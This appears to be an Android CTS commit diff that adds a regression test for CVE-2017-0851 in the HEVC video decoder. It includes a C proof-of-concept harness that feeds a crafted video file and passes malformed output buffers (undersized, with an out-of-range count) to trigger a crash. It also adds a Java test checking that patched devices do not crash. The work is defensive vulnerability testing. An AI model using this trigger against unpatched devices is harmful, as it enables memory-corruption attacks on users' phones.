[RESTRICT AUTOMERGE] CTS test for Android Security b/35430570

Bug: 35430570
Bug: 68652792
Test: Ran the new testcase on android-8.0.0_r11 with/without patch

Change-Id: I2fd474af1659a319cef864bad44d3b0bc2ee8724
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index ad4b3be..87d32cf 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -277,6 +277,7 @@
         <option name="cleanup" value="true" />
 
         <!-- Please add 32-bit binary tests below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-085132->/data/local/tmp/CVE-2017-0851" />
         <option name="push" value="CVE-2017-1315032->/data/local/tmp/CVE-2017-13150" />
         <option name="push" value="CVE-2017-1320532->/data/local/tmp/CVE-2017-13205" />
         <option name="push" value="CVE-2017-1318932->/data/local/tmp/CVE-2017-13189" />
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0851.hevc b/hostsidetests/securitybulletin/res/cve_2017_0851.hevc
new file mode 100644
index 0000000..d0bd9a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0851.hevc
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0851/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0851/Android.mk
new file mode 100644
index 0000000..6f8c228
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0851/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0851
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := external/libhevc/common
+LOCAL_C_INCLUDES += external/libhevc/decoder
+LOCAL_SHARED_LIBRARIES := libstagefright_soft_hevcdec
+LOCAL_SHARED_LIBRARIES += liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0851/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0851/poc.c
new file mode 100644
index 0000000..22dbc87
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0851/poc.c
@@ -0,0 +1,330 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "ihevc_typedefs.h"
+#include "ihevcd_cxa.h"
+
+#define IP_BUF_LEN          (256 * 1024)
+#define FRAME_WIDTH         8192
+#define FRAME_HEIGHT        4096
+#define OP_BUF_LEN_0        (FRAME_WIDTH * FRAME_HEIGHT)
+#define OP_BUF_LEN_1        (FRAME_WIDTH * FRAME_HEIGHT) / 2
+#define NUM_OP_BUFS         (2)
+#define OP_BUF_LEN          (OP_BUF_LEN_0 + OP_BUF_LEN_1)
+#define NUM_CORES           (1)
+#define MEMSET_VAL          (0xFF)
+#define TEST_MALLOC_SIZE    (8)
+
+#define EXIT_ON_ERROR(status) {\
+  if (IV_SUCCESS != status) {\
+      if(ps_ip_file)\
+          fclose(ps_ip_file);\
+\
+      if(pu1_bs_buf)\
+          free(pu1_bs_buf);\
+\
+      if(ps_out_buf) {\
+          free(ps_out_buf);\
+          if(ps_out_buf->pu1_bufs[0])\
+              free(ps_out_buf->pu1_bufs[0]);\
+      }\
+      exit(EXIT_SUCCESS);\
+  }\
+}
+
+void * ihevca_aligned_malloc(void *pv_ctxt, WORD32 alignment, WORD32 i4_size) {
+    (void) pv_ctxt;
+    return memalign(alignment, i4_size);
+}
+
+void ihevca_aligned_free(void *pv_ctxt, void *pv_buf) {
+    (void) pv_ctxt;
+    free(pv_buf);
+    return;
+}
+
+void flush_output(iv_obj_t *codec_obj, ivd_out_bufdesc_t *ps_out_buf,
+                  UWORD8 *pu1_bs_buf, UWORD32 *pu4_op_frm_ts,
+                  UWORD32 u4_ip_frm_ts, UWORD32 u4_bytes_remaining) {
+    WORD32 ret;
+
+    do {
+        ivd_ctl_flush_ip_t s_ctl_ip;
+        ivd_ctl_flush_op_t s_ctl_op;
+
+        if (*pu4_op_frm_ts >= (10000))
+            break;
+
+        s_ctl_ip.e_cmd = IVD_CMD_VIDEO_CTL;
+        s_ctl_ip.e_sub_cmd = IVD_CMD_CTL_FLUSH;
+        s_ctl_ip.u4_size = sizeof(ivd_ctl_flush_ip_t);
+        s_ctl_op.u4_size = sizeof(ivd_ctl_flush_op_t);
+        ret = ihevcd_cxa_api_function((iv_obj_t *) codec_obj,
+                                      (void *) &s_ctl_ip, (void *) &s_ctl_op);
+
+        if (IV_SUCCESS == ret) {
+            ivd_video_decode_ip_t *ps_video_decode_ip = memalign(
+                    8, sizeof(ivd_video_decode_ip_t));
+            ivd_video_decode_op_t *ps_video_decode_op = memalign(
+                    8, sizeof(ivd_video_decode_op_t));
+            ps_out_buf =
+                    (ivd_out_bufdesc_t *) &ps_video_decode_ip->s_out_buffer;
+
+            memset(ps_out_buf, MEMSET_VAL, sizeof(ivd_out_bufdesc_t));
+
+            for (int tmp = 0; tmp < IVD_VIDDEC_MAX_IO_BUFFERS; tmp++) {
+                ps_out_buf->pu1_bufs[tmp] = malloc(TEST_MALLOC_SIZE);
+                ps_out_buf->u4_min_out_buf_size[tmp] = TEST_MALLOC_SIZE;
+            }
+
+            ps_video_decode_ip->e_cmd = IVD_CMD_VIDEO_DECODE;
+            ps_video_decode_ip->u4_ts = u4_ip_frm_ts;
+            ps_video_decode_ip->pv_stream_buffer = pu1_bs_buf;
+            ps_video_decode_ip->u4_num_Bytes = u4_bytes_remaining;
+            ps_video_decode_ip->u4_size = sizeof(ivd_video_decode_ip_t);
+            ps_video_decode_ip->s_out_buffer.u4_min_out_buf_size[0] = ps_out_buf
+                    ->u4_min_out_buf_size[0];
+            ps_video_decode_ip->s_out_buffer.u4_min_out_buf_size[1] = ps_out_buf
+                    ->u4_min_out_buf_size[1];
+            ps_video_decode_ip->s_out_buffer.u4_min_out_buf_size[2] = ps_out_buf
+                    ->u4_min_out_buf_size[2];
+            ps_video_decode_ip->s_out_buffer.pu1_bufs[0] =
+                    ps_out_buf->pu1_bufs[0];
+            ps_video_decode_ip->s_out_buffer.pu1_bufs[1] =
+                    ps_out_buf->pu1_bufs[1];
+            ps_video_decode_ip->s_out_buffer.pu1_bufs[2] =
+                    ps_out_buf->pu1_bufs[2];
+            ps_video_decode_ip->s_out_buffer.u4_num_bufs =
+                    IVD_VIDDEC_MAX_IO_BUFFERS + 1;
+
+            ps_video_decode_op->u4_size = sizeof(ivd_video_decode_op_t);
+
+            ret = ihevcd_cxa_api_function((iv_obj_t *) codec_obj,
+                                          (void *) ps_video_decode_ip,
+                                          (void *) ps_video_decode_op);
+
+            if (1 == ps_video_decode_op->u4_output_present) {
+                (*pu4_op_frm_ts)++;
+            }
+        }
+    } while (IV_SUCCESS == ret);
+}
+
+int main(WORD32 argc, CHAR *argv[]) {
+    FILE *ps_ip_file = NULL;
+    WORD32 ret;
+    UWORD8 *pu1_bs_buf = NULL;
+    ivd_out_bufdesc_t *ps_out_buf;
+    UWORD32 file_pos = 0;
+    UWORD32 u4_ip_frm_ts = 0, u4_op_frm_ts = 0;
+    WORD32 u4_bytes_remaining = 0;
+    iv_obj_t *codec_obj;
+
+    /* Usage */
+    if (argc < 2) {
+        return EXIT_SUCCESS;
+    }
+
+    ps_ip_file = fopen(argv[1], "rb");
+    if (!ps_ip_file) {
+        return EXIT_SUCCESS;
+    }
+
+    /* Create decoder instance */
+    {
+        ihevcd_cxa_create_ip_t s_create_ip;
+        ihevcd_cxa_create_op_t s_create_op;
+        void *fxns = &ihevcd_cxa_api_function;
+
+        ps_out_buf = (ivd_out_bufdesc_t *) malloc(sizeof(ivd_out_bufdesc_t));
+        s_create_ip.s_ivd_create_ip_t.e_cmd = IVD_CMD_CREATE;
+        s_create_ip.s_ivd_create_ip_t.u4_share_disp_buf = 0;
+        s_create_ip.s_ivd_create_ip_t.e_output_format = IV_YUV_420SP_UV;
+        s_create_ip.s_ivd_create_ip_t.pf_aligned_alloc = ihevca_aligned_malloc;
+        s_create_ip.s_ivd_create_ip_t.pf_aligned_free = ihevca_aligned_free;
+        s_create_ip.s_ivd_create_ip_t.pv_mem_ctxt = NULL;
+        s_create_ip.s_ivd_create_ip_t.u4_size = sizeof(ihevcd_cxa_create_ip_t);
+        s_create_op.s_ivd_create_op_t.u4_size = sizeof(ihevcd_cxa_create_op_t);
+
+        ret = ihevcd_cxa_api_function(NULL, (void *) &s_create_ip,
+                                      (void *) &s_create_op);
+        EXIT_ON_ERROR(ret);
+
+        codec_obj = (iv_obj_t*) s_create_op.s_ivd_create_op_t.pv_handle;
+        codec_obj->pv_fxns = fxns;
+        codec_obj->u4_size = sizeof(iv_obj_t);
+    }
+
+    /* set num of cores */
+    {
+        ihevcd_cxa_ctl_set_num_cores_ip_t s_ctl_set_cores_ip;
+        ihevcd_cxa_ctl_set_num_cores_op_t s_ctl_set_cores_op;
+
+        s_ctl_set_cores_ip.e_cmd = IVD_CMD_VIDEO_CTL;
+        s_ctl_set_cores_ip.e_sub_cmd =
+                (IVD_CONTROL_API_COMMAND_TYPE_T) IHEVCD_CXA_CMD_CTL_SET_NUM_CORES;
+        s_ctl_set_cores_ip.u4_num_cores = NUM_CORES;
+        s_ctl_set_cores_ip.u4_size = sizeof(ihevcd_cxa_ctl_set_num_cores_ip_t);
+        s_ctl_set_cores_op.u4_size = sizeof(ihevcd_cxa_ctl_set_num_cores_op_t);
+
+        ret = ihevcd_cxa_api_function((iv_obj_t *) codec_obj,
+                                      (void *) &s_ctl_set_cores_ip,
+                                      (void *) &s_ctl_set_cores_op);
+        EXIT_ON_ERROR(ret);
+    }
+
+    /* Allocate input and output buffers for IV_YUV_420SP_UV */
+    {
+        pu1_bs_buf = (UWORD8 *) malloc(IP_BUF_LEN);
+        ps_out_buf->pu1_bufs[0] = (UWORD8 *) malloc(OP_BUF_LEN);
+        if ((ps_out_buf->pu1_bufs[0] == NULL) || (pu1_bs_buf == NULL)) {
+            EXIT_ON_ERROR(IV_FAIL);
+        }
+
+        ps_out_buf->pu1_bufs[1] = ps_out_buf->pu1_bufs[0] + OP_BUF_LEN_0;
+    }
+
+    /* Set the decoder in frame decode mode */
+    {
+        ivd_ctl_set_config_ip_t s_ctl_ip;
+        ivd_ctl_set_config_op_t s_ctl_op;
+
+        s_ctl_ip.u4_disp_wd = 0;
+        s_ctl_ip.e_frm_skip_mode = IVD_SKIP_NONE;
+        s_ctl_ip.e_frm_out_mode = IVD_DISPLAY_FRAME_OUT;
+        s_ctl_ip.e_vid_dec_mode = IVD_DECODE_FRAME;
+        s_ctl_ip.e_cmd = IVD_CMD_VIDEO_CTL;
+        s_ctl_ip.e_sub_cmd = IVD_CMD_CTL_SETPARAMS;
+        s_ctl_ip.u4_size = sizeof(ivd_ctl_set_config_ip_t);
+        s_ctl_op.u4_size = sizeof(ivd_ctl_set_config_op_t);
+
+        ret = ihevcd_cxa_api_function((iv_obj_t *) codec_obj,
+                                      (void *) &s_ctl_ip, (void *) &s_ctl_op);
+    }
+
+    while ((u4_bytes_remaining = fread(pu1_bs_buf, sizeof(UWORD8),
+    IP_BUF_LEN,
+                                       ps_ip_file))) {
+        {
+            ivd_video_decode_ip_t s_video_decode_ip;
+            ivd_video_decode_op_t s_video_decode_op;
+
+            s_video_decode_ip.e_cmd = IVD_CMD_VIDEO_DECODE;
+            s_video_decode_ip.u4_ts = u4_ip_frm_ts;
+            s_video_decode_ip.pv_stream_buffer = pu1_bs_buf;
+            s_video_decode_ip.u4_num_Bytes = u4_bytes_remaining;
+            s_video_decode_ip.u4_size = sizeof(ivd_video_decode_ip_t);
+            s_video_decode_ip.s_out_buffer.u4_min_out_buf_size[0] =
+            OP_BUF_LEN_0;
+            s_video_decode_ip.s_out_buffer.u4_min_out_buf_size[1] =
+            OP_BUF_LEN_1;
+            s_video_decode_ip.s_out_buffer.u4_min_out_buf_size[2] = 0;
+            s_video_decode_ip.s_out_buffer.pu1_bufs[0] =
+                    ps_out_buf->pu1_bufs[0];
+            s_video_decode_ip.s_out_buffer.pu1_bufs[1] =
+                    ps_out_buf->pu1_bufs[1];
+            s_video_decode_ip.s_out_buffer.pu1_bufs[2] = NULL;
+            s_video_decode_ip.s_out_buffer.u4_num_bufs = NUM_OP_BUFS;
+            s_video_decode_op.u4_size = sizeof(ivd_video_decode_op_t);
+
+            /*   API Call: Video Decode */
+            ret = ihevcd_cxa_api_function((iv_obj_t *) codec_obj,
+                                          (void *) &s_video_decode_ip,
+                                          (void *) &s_video_decode_op);
+
+            if ((IV_SUCCESS != ret)
+                    && ((s_video_decode_op.u4_error_code & 0xFF)
+                            == IVD_RES_CHANGED)) {
+                ivd_ctl_reset_ip_t s_ctl_ip;
+                ivd_ctl_reset_op_t s_ctl_op;
+
+                flush_output(codec_obj, ps_out_buf, pu1_bs_buf, &u4_op_frm_ts,
+                             u4_ip_frm_ts, u4_bytes_remaining);
+
+                s_ctl_ip.e_cmd = IVD_CMD_VIDEO_CTL;
+                s_ctl_ip.e_sub_cmd = IVD_CMD_CTL_RESET;
+                s_ctl_ip.u4_size = sizeof(ivd_ctl_reset_ip_t);
+                s_ctl_op.u4_size = sizeof(ivd_ctl_reset_op_t);
+
+                ret = ihevcd_cxa_api_function((iv_obj_t *) codec_obj,
+                                              (void *) &s_ctl_ip,
+                                              (void *) &s_ctl_op);
+                EXIT_ON_ERROR(ret);
+
+                /* set num of cores */
+                {
+                    ihevcd_cxa_ctl_set_num_cores_ip_t s_ctl_set_cores_ip;
+                    ihevcd_cxa_ctl_set_num_cores_op_t s_ctl_set_cores_op;
+
+                    s_ctl_set_cores_ip.e_cmd = IVD_CMD_VIDEO_CTL;
+                    s_ctl_set_cores_ip.e_sub_cmd =
+                            (IVD_CONTROL_API_COMMAND_TYPE_T) IHEVCD_CXA_CMD_CTL_SET_NUM_CORES;
+                    s_ctl_set_cores_ip.u4_num_cores = NUM_CORES;
+                    s_ctl_set_cores_ip.u4_size =
+                            sizeof(ihevcd_cxa_ctl_set_num_cores_ip_t);
+                    s_ctl_set_cores_op.u4_size =
+                            sizeof(ihevcd_cxa_ctl_set_num_cores_op_t);
+
+                    ret = ihevcd_cxa_api_function((iv_obj_t *) codec_obj,
+                                                  (void *) &s_ctl_set_cores_ip,
+                                                  (void *) &s_ctl_set_cores_op);
+                    EXIT_ON_ERROR(ret);
+                }
+            }
+            file_pos += s_video_decode_op.u4_num_bytes_consumed;
+            fseek(ps_ip_file, file_pos, SEEK_SET);
+            u4_ip_frm_ts++;
+
+            if (1 == s_video_decode_op.u4_output_present) {
+                u4_op_frm_ts++;
+            } else {
+                if ((s_video_decode_op.u4_error_code >> IVD_FATALERROR) & 1) {
+                    break;
+                }
+            }
+        }
+    }
+
+    /* To get the last decoded frames, call process with NULL input */
+    flush_output(codec_obj, ps_out_buf, pu1_bs_buf, &u4_op_frm_ts, u4_ip_frm_ts,
+                 u4_bytes_remaining);
+
+    /* Delete decoder and close all the files and free all the memory */
+    {
+        ivd_delete_ip_t s_delete_dec_ip;
+        ivd_delete_op_t s_delete_dec_op;
+
+        s_delete_dec_ip.e_cmd = IVD_CMD_DELETE;
+        s_delete_dec_ip.u4_size = sizeof(ivd_delete_ip_t);
+        s_delete_dec_op.u4_size = sizeof(ivd_delete_op_t);
+
+        ret = ihevcd_cxa_api_function((iv_obj_t *) codec_obj,
+                                      (void *) &s_delete_dec_ip,
+                                      (void *) &s_delete_dec_op);
+
+        EXIT_ON_ERROR(ret);
+    }
+    fclose(ps_ip_file);
+    free(ps_out_buf->pu1_bufs[0]);
+    free(ps_out_buf);
+    free(pu1_bs_buf);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMediaCodec.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMediaCodec.java
index aa5feb9..a0ba506 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMediaCodec.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMediaCodec.java
@@ -84,6 +84,17 @@
      ******************************************************************************/
 
     /**
+     * b/35430570
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @SecurityTest(minPatchLevel = "2017-11")
+    public void testPocCVE_2017_0851() throws Exception {
+        String inputFiles[] = {"cve_2017_0851.hevc"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0851",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
      * b/68299873
      **/
     @Test